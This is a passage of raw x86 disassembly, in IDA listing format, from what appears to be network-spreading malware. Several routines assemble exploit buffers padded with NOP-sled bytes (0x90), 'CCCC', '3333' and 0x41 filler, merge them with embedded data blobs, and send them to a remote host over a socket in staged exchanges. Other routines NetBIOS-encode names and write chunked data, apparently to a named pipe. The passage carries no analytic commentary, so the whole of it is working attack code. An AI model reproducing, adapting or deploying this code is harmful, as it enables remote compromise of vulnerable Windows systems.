		lea	eax, [ebp+var_8E0]
		push	4
		push	offset loc_414824
		push	eax
		call	sub_410838	; memcpy
		push	58h
		lea	eax, [ebp+var_8DC]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		push	6
		lea	eax, [ebp+var_884]
		push	offset loc_4147FC
		push	eax
		call	sub_410838	; memcpy
		push	8
		push	0FFFFFF90h
		lea	eax, [ebp+var_87E]
		push	eax
		call	sub_410850	; memset
		push	4
		lea	eax, [ebp+var_876]
		push	offset loc_414804
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_872]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		add	esp, 48h
		lea	eax, [ebp+var_86E]
		push	6
		push	offset loc_41480C
		push	eax
		call	sub_410838	; memcpy
		push	esi
		lea	eax, [ebp+var_868]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		push	[ebp+arg_0]
		add	esi, 100h
		lea	eax, [ebp+var_B68]
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_410838	; memcpy
		add	esi, [ebp+arg_0]
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_410838	; memcpy
		add	esi, ebx
		push	0Ah
		push	offset off_414814
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_410838	; memcpy
		add	esi, 0Ah
		push	32h
		push	offset dword_4147A8
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_410838	; memcpy
		add	esi, 32h
		add	esp, 48h
		mov	[ebp+var_960], esi
		lea	eax, [esi-18h]
		push	esi
		mov	[ebp+var_958], eax
		lea	eax, [ebp+var_968]
		push	eax
		push	dword ptr [edi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		pop	ebx
		jz	short loc_40B79E
		push	0
		lea	eax, [ebp+var_1B68]
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	ds:dword_411258	; recv


loc_40B79E:				; CODE XREF: sub_40B4D5+33j
					; sub_40B4D5+88j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40B4D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A2	proc near		; CODE XREF: sub_40BB6E+F4p
					; sub_40BB6E+102p ...

var_A4F0	= byte ptr -0A4F0h
var_A488	= byte ptr -0A488h
var_8418	= byte ptr -8418h
var_7418	= byte ptr -7418h
var_73A8	= byte ptr -73A8h
var_68E4	= byte ptr -68E4h
var_5340	= byte ptr -5340h
var_42AC	= byte ptr -42ACh
var_37E4	= byte ptr -37E4h
var_37E1	= byte ptr -37E1h
var_37B7	= byte ptr -37B7h
var_37B5	= byte ptr -37B5h
var_37B4	= byte ptr -37B4h
var_27E4	= byte ptr -27E4h
var_2768	= byte ptr -2768h
var_1F98	= byte ptr -1F98h
var_1AED	= byte ptr -1AEDh
var_1800	= byte ptr -1800h
var_101C	= byte ptr -101Ch
var_100C	= byte ptr -100Ch
var_CE8		= byte ptr -0CE8h
var_CE4		= byte ptr -0CE4h
var_CD8		= byte ptr -0CD8h
var_A54		= byte ptr -0A54h
var_A50		= byte ptr -0A50h
var_9B0		= byte ptr -9B0h
var_2A4		= byte ptr -2A4h
var_294		= byte ptr -294h
var_280		= byte ptr -280h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0A4F0h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		push	offset dword_4146F0
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_280]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40D700
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_280]
		add	esp, 20h
		test	eax, eax
		jz	loc_40BB66
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_410B18	; wcslen
		mov	ebx, eax
		push	60h
		lea	eax, [ebp+var_37E4]
		push	offset dword_414A54
		push	eax
		shl	ebx, 1
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_80]
		push	ebx
		push	eax
		lea	eax, [ebp+var_37B4]
		push	eax
		call	sub_410838	; memcpy
		push	9
		lea	eax, [ebp+ebx+var_37B5]
		push	(offset	aC_0+3)
		push	eax
		call	sub_410838	; memcpy
		mov	al, bl
		add	al, 34h
		mov	[ebp+var_37E1],	al
		mov	al, bl
		add	al, 9
		add	ebx, 38h
		mov	[ebp+var_37B7],	al
		lea	eax, [ebp+var_37E4]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		mov	edi, 0EA60h
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 44h
		test	eax, eax
		jz	loc_40BA6B
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv
		push	68h
		push	offset dword_414AB8
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40BA6B
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv
		push	0A0h
		push	offset dword_414B24
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40BA6B
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	loc_40BAA5
		push	7Fh
		lea	eax, [ebp+var_1800]
		push	0DACh
		push	eax
		call	sub_40C90F
		lea	ebx, ds:414E4Ch[ebx*4]
		push	4
		lea	eax, [ebp+var_101C]
		push	ebx
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_CE8]
		push	offset loc_414E58
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_CE4]
		push	ebx
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_CD8]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		and	[ebp+var_A54], 0
		lea	eax, [ebp+var_1800]
		push	0DADh
		push	eax
		lea	eax, [ebp+var_5340]
		push	eax
		call	sub_405172
		mov	ebx, 1C52h
		lea	eax, [ebp+var_A4F0]
		push	ebx
		push	31h
		push	eax
		call	sub_410850	; memset
		push	ebx
		lea	eax, [ebp+var_7418]
		push	31h
		push	eax
		call	sub_410850	; memset
		push	68h
		lea	eax, [ebp+var_A4F0]
		push	offset dword_414CDC
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_5340]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_A488]
		push	eax
		call	sub_410838	; memcpy
		push	70h
		lea	eax, [ebp+var_7418]
		push	offset dword_414D48
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_42AC]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_73A8]
		push	eax
		call	sub_410838	; memcpy
		push	84h
		lea	eax, [ebp+var_68E4]
		push	offset dword_414DBC
		push	eax
		call	sub_410838	; memcpy
		push	10FCh
		lea	eax, [ebp+var_A4F0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40BA72


loc_40BA6B:				; CODE XREF: sub_40B7A2+E2j
					; sub_40B7A2+11Dj ...
		xor	eax, eax
		jmp	loc_40BB69
; ---------------------------------------------------------------------------


loc_40BA72:				; CODE XREF: sub_40B7A2+2C7j
		push	0
		lea	eax, [ebp+var_8418]
		push	640h
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv
		lea	eax, [ebp+var_7418]
		push	0FDCh
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		add	esp, 0Ch
		jmp	loc_40BB66
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: sub_40B7A2+174j
		push	0E29h
		lea	eax, [ebp+var_27E4]
		push	31h
		push	eax
		call	sub_410850	; memset
		mov	edi, 7D0h
		lea	eax, [ebp+var_A50]
		push	edi
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_9B0]
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_2A4]
		push	offset dword_414E4C
		push	eax
		call	sub_410838	; memcpy
		push	7
		lea	eax, [ebp+var_294]
		push	offset sub_414E44
		push	eax
		call	sub_410838	; memcpy
		push	7Ch
		lea	eax, [ebp+var_27E4]
		push	offset dword_414BC8
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_A50]
		push	edi
		push	eax
		lea	eax, [ebp+var_2768]
		push	eax
		call	sub_410838	; memcpy
		push	90h
		lea	eax, [ebp+var_1F98]
		push	offset off_414C48
		push	eax
		call	sub_410838	; memcpy
		and	[ebp+var_1AED],	0
		lea	eax, [ebp+var_27E4]
		push	0CF8h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		add	esp, 24h


loc_40BB66:				; CODE XREF: sub_40B7A2+50j
					; sub_40B7A2+2FEj
		push	1
		pop	eax


loc_40BB69:				; CODE XREF: sub_40B7A2+2CBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B7A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB6E	proc near		; CODE XREF: sub_40BB6E+12Bp

var_30		= dword	ptr -30h
var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_1004	= dword	ptr  1008h

		mov	eax, 1004h
		call	sub_4108B0
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_1004]
		xor	ebx, ebx
		push	edi
		cmp	[esi+3Eh], ebx
		mov	[esp+10h], ebx
		mov	edi, 0EA60h
		jnz	short loc_40BBB8
		push	edi
		lea	eax, [esi+17h]
		push	ebx
		push	eax
		lea	eax, [esi+42h]
		mov	dword ptr [esp+1Ch], 1
		push	eax
		call	sub_403BBB
		add	esp, 10h
		cmp	eax, ebx
		mov	[esi+3Eh], eax
		jz	loc_40BCA0


loc_40BBB8:				; CODE XREF: sub_40BB6E+23j
		push	89h
		push	offset dword_41483C
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40BCA0
		mov	ebp, 1000h
		push	ebx
		mov	ebx, ds:dword_411258
		lea	eax, [esp+14h+arg_0]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0A8h
		push	offset dword_4148C8
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40BCA0
		push	0
		lea	eax, [esp+24h+var_C]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0DEh
		push	offset dword_414974
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BCA0
		xor	edi, edi
		lea	eax, [esp+30h+var_1C]
		push	edi
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		cmp	[esp+40h+arg_14], 30h
		jnz	short loc_40BC77
		push	1
		push	esi
		call	sub_40B7A2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BC77
		push	2
		push	esi
		call	sub_40B7A2
		jmp	short loc_40BC9E
; ---------------------------------------------------------------------------


loc_40BC77:				; CODE XREF: sub_40BB6E+EFj
					; sub_40BB6E+FDj
		cmp	[esp+40h+arg_14], 31h
		jnz	short loc_40BCA0
		push	edi
		push	esi
		call	sub_40B7A2
		cmp	[esp+48h+var_30], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40BCA0
		push	dword ptr [esi+3Eh]
		call	sub_403D27
		push	esi
		mov	[esi+3Eh], edi
		call	sub_40BB6E


loc_40BC9E:				; CODE XREF: sub_40BB6E+107j
		pop	ecx
		pop	ecx


loc_40BCA0:				; CODE XREF: sub_40BB6E+44j
					; sub_40BB6E+6Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1004h
		retn
sub_40BB6E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCAB	proc near		; DATA XREF: .data:00416A14o

var_A00		= byte ptr -0A00h
var_800		= byte ptr -800h
var_7DC		= byte ptr -7DCh
var_5CC		= byte ptr -5CCh
var_5C8		= byte ptr -5C8h
var_5C4		= byte ptr -5C4h
var_5C0		= byte ptr -5C0h
var_5BC		= byte ptr -5BCh
var_5B8		= byte ptr -5B8h
var_5B4		= byte ptr -5B4h
var_5B0		= byte ptr -5B0h
var_5AC		= byte ptr -5ACh
var_554		= byte ptr -554h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	1
		push	offset byte_417B60
		push	dword ptr [ebx+2Ah]
		lea	eax, [ebx+146h]
		push	eax
		lea	eax, [ebx+0C6h]
		push	eax
		lea	eax, [ebp+var_A00]
		push	dword ptr [ebx+0C2h]
		push	200h
		push	eax
		call	sub_40D700
		add	esp, 20h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jz	loc_40BE04
		push	esi
		push	edi
		push	24h
		lea	eax, [ebp+var_800]
		push	(offset	loc_414E66+2)
		push	eax
		call	sub_410838	; memcpy
		push	210h
		lea	eax, [ebp+var_7DC]
		push	4Dh
		push	eax
		call	sub_410850	; memset
		push	4
		lea	eax, [ebp+var_5CC]
		pop	edi
		push	edi
		push	offset dword_414E90
		push	eax
		call	sub_410838	; memcpy
		push	edi
		lea	eax, [ebp+var_5C8]
		push	offset aCccc	; "CCCC"
		push	eax
		call	sub_410838	; memcpy
		push	edi
		lea	eax, [ebp+var_5C4]
		push	offset loc_414E60
		push	eax
		call	sub_410838	; memcpy
		mov	esi, (offset loc_414E60+4)
		push	edi
		lea	eax, [ebp+var_5C0]
		push	esi
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_5BC]
		push	edi
		push	esi
		push	eax
		call	sub_410838	; memcpy
		push	edi
		lea	eax, [ebp+var_5B8]
		push	offset a3333	; "3333"
		push	eax
		call	sub_410838	; memcpy
		push	edi
		lea	eax, [ebp+var_5B4]
		push	esi
		push	eax
		call	sub_410838	; memcpy
		push	edi
		lea	eax, [ebp+var_5B0]
		push	esi
		push	eax
		call	sub_410838	; memcpy
		push	58h
		lea	eax, [ebp+var_5AC]
		push	41h
		push	eax
		call	sub_410850	; memset
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_A00]
		push	esi
		push	eax
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		add	esi, 2ACh
		push	5
		lea	eax, [ebp+esi+var_800]
		push	offset dword_414E98
		push	eax
		call	sub_410838	; memcpy
		add	esi, 5
		lea	eax, [ebp+var_800]
		push	esi
		push	eax
		push	dword ptr [ebx+3Eh]
		call	sub_403D54
		add	esp, 18h
		pop	edi
		pop	esi


loc_40BE04:				; CODE XREF: sub_40BCAB+44j
		pop	ebx
		leave
		retn
sub_40BCAB	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE08	proc near		; CODE XREF: sub_40C0F9+6p
					; seg000:0040C10Dp

var_2208	= byte ptr -2208h
var_21FF	= byte ptr -21FFh
var_1208	= byte ptr -1208h
var_1205	= byte ptr -1205h
var_11DB	= byte ptr -11DBh
var_11D8	= byte ptr -11D8h
var_10D8	= byte ptr -10D8h
var_980		= byte ptr -980h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2208h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40D628
		add	esp, 18h
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40C0F4
		push	89h
		push	offset dword_414EB0
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		mov	ebx, 0EA60h
		mov	edi, 1000h
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		cmp	[ebp+var_21FF],	0
		jnz	loc_40C0F4
		push	0A8h
		push	offset dword_414F3C
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		push	0DEh
		push	offset dword_414FE8
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		cmp	[ebp+var_21FF],	0
		jnz	loc_40C0F4
		push	30h
		lea	eax, [ebp+var_1208]
		push	offset dword_4150C8
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_11D8]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [eax+eax-2]
		push	1
		lea	ecx, [eax+30h]
		add	eax, 9
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11DB]
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_410838	; memcpy
		mov	eax, [ebp+arg_0]
		push	8
		push	offset dword_4150FC
		lea	eax, [ebp+eax+var_1208]
		push	eax
		call	sub_410838	; memcpy
		add	[ebp+arg_0], 8
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1205]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1208]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		add	esp, 44h
		lea	eax, [ebp+var_2208]
		push	ebx
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		cmp	[ebp+var_21FF],	0
		jnz	loc_40C0F4
		push	6Ah
		push	offset dword_415108
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		cmp	[ebp+var_21FF],	0
		jnz	loc_40C0F4
		push	0A0h
		push	offset dword_415174
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C0F4
		cmp	eax, 0Ah
		jbe	loc_40C0F4
		cmp	[ebp+var_21FF],	0
		jnz	loc_40C0F4
		push	894h
		lea	eax, [ebp+var_1208]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		push	130h
		jnz	short loc_40C08F
		push	offset dword_415218
		jmp	short loc_40C094
; ---------------------------------------------------------------------------


loc_40C08F:				; CODE XREF: sub_40BE08+27Ej
		push	offset dword_41534C


loc_40C094:				; CODE XREF: sub_40BE08+285j
		lea	eax, [ebp+var_1208]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_208]
		push	[ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10D8]
		push	eax
		call	sub_410838	; memcpy
		push	0Ch
		lea	eax, [ebp+var_980]
		push	offset dword_415480
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_1208]
		push	894h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 34h


loc_40C0F4:				; CODE XREF: sub_40BE08+43j
					; sub_40BE08+7Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BE08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0F9	proc near		; DATA XREF: .data:00416844o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40BE08
		pop	ecx
		pop	ecx
		retn
sub_40C0F9	endp

; ---------------------------------------------------------------------------
		push	1
		push	dword ptr [esp+8]
		call	sub_40BE08
		pop	ecx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40C115	proc near		; CODE XREF: sub_40C225+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_40C144
		mov	edx, [esp+4+arg_8]


loc_40C122:				; CODE XREF: sub_40C115+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_40C122


loc_40C144:				; CODE XREF: sub_40C115+7j
		pop	esi
		retn
sub_40C115	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C146	proc near		; CODE XREF: sub_40C146+CDp
					; sub_40C225+4DCp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40C15A
		or	[ebp+arg_7], 1
		jmp	short loc_40C15E
; ---------------------------------------------------------------------------


loc_40C15A:				; CODE XREF: sub_40C146+Cj
		and	[ebp+arg_7], 0FEh


loc_40C15E:				; CODE XREF: sub_40C146+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_40C17F
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40C191
; ---------------------------------------------------------------------------


loc_40C17F:				; CODE XREF: sub_40C146+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40C191:				; CODE XREF: sub_40C146+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41082C	; malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_40C1AA


loc_40C1A6:				; CODE XREF: sub_40C146+A4j
		xor	eax, eax
		jmp	short loc_40C220
; ---------------------------------------------------------------------------


loc_40C1AA:				; CODE XREF: sub_40C146+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:dword_411070	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_40C1EC
		call	sub_410832	; free
		pop	ecx
		jmp	short loc_40C1A6
; ---------------------------------------------------------------------------


loc_40C1EC:				; CODE XREF: sub_40C146+9Cj
		call	sub_410832	; free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40C21D
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40C146
		add	esp, 2Ch
		jmp	short loc_40C220
; ---------------------------------------------------------------------------


loc_40C21D:				; CODE XREF: sub_40C146+B0j
		push	1
		pop	eax


loc_40C220:				; CODE XREF: sub_40C146+62j
					; sub_40C146+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C225	proc near		; CODE XREF: sub_40C73D+6p
					; sub_40C73D+16p

var_CEBC	= byte ptr -0CEBCh
var_8EBC	= byte ptr -8EBCh
var_7364	= byte ptr -7364h
var_5364	= byte ptr -5364h
var_3364	= byte ptr -3364h
var_1364	= dword	ptr -1364h
var_A68		= byte ptr -0A68h
var_A63		= byte ptr -0A63h
var_A24		= byte ptr -0A24h
var_5B8		= byte ptr -5B8h
var_3B8		= byte ptr -3B8h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_6C		= byte ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= byte ptr -4Ah
var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0CEBCh
		call	sub_4108B0
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_417B9C, edi
		jz	loc_40C735
		cmp	dword_417BA4, edi
		jz	loc_40C735
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40D628
		add	esp, 18h
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C2A8
		add	esi, 42h
		push	2
		push	esi
		mov	[ebp+arg_0], esi
		call	sub_40C794
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40C2AF
		push	1
		push	esi
		call	sub_40C794
		pop	ecx
		cmp	eax, 3
		pop	ecx
		jz	short loc_40C2AF


loc_40C2A8:				; CODE XREF: sub_40C225+5Dj
		xor	eax, eax
		jmp	loc_40C738
; ---------------------------------------------------------------------------


loc_40C2AF:				; CODE XREF: sub_40C225+72j
					; sub_40C225+81j
		push	32Bh
		lea	eax, [ebp+var_3B8]
		push	edi
		push	eax
		call	sub_410850	; memset
		mov	esi, 0DACh
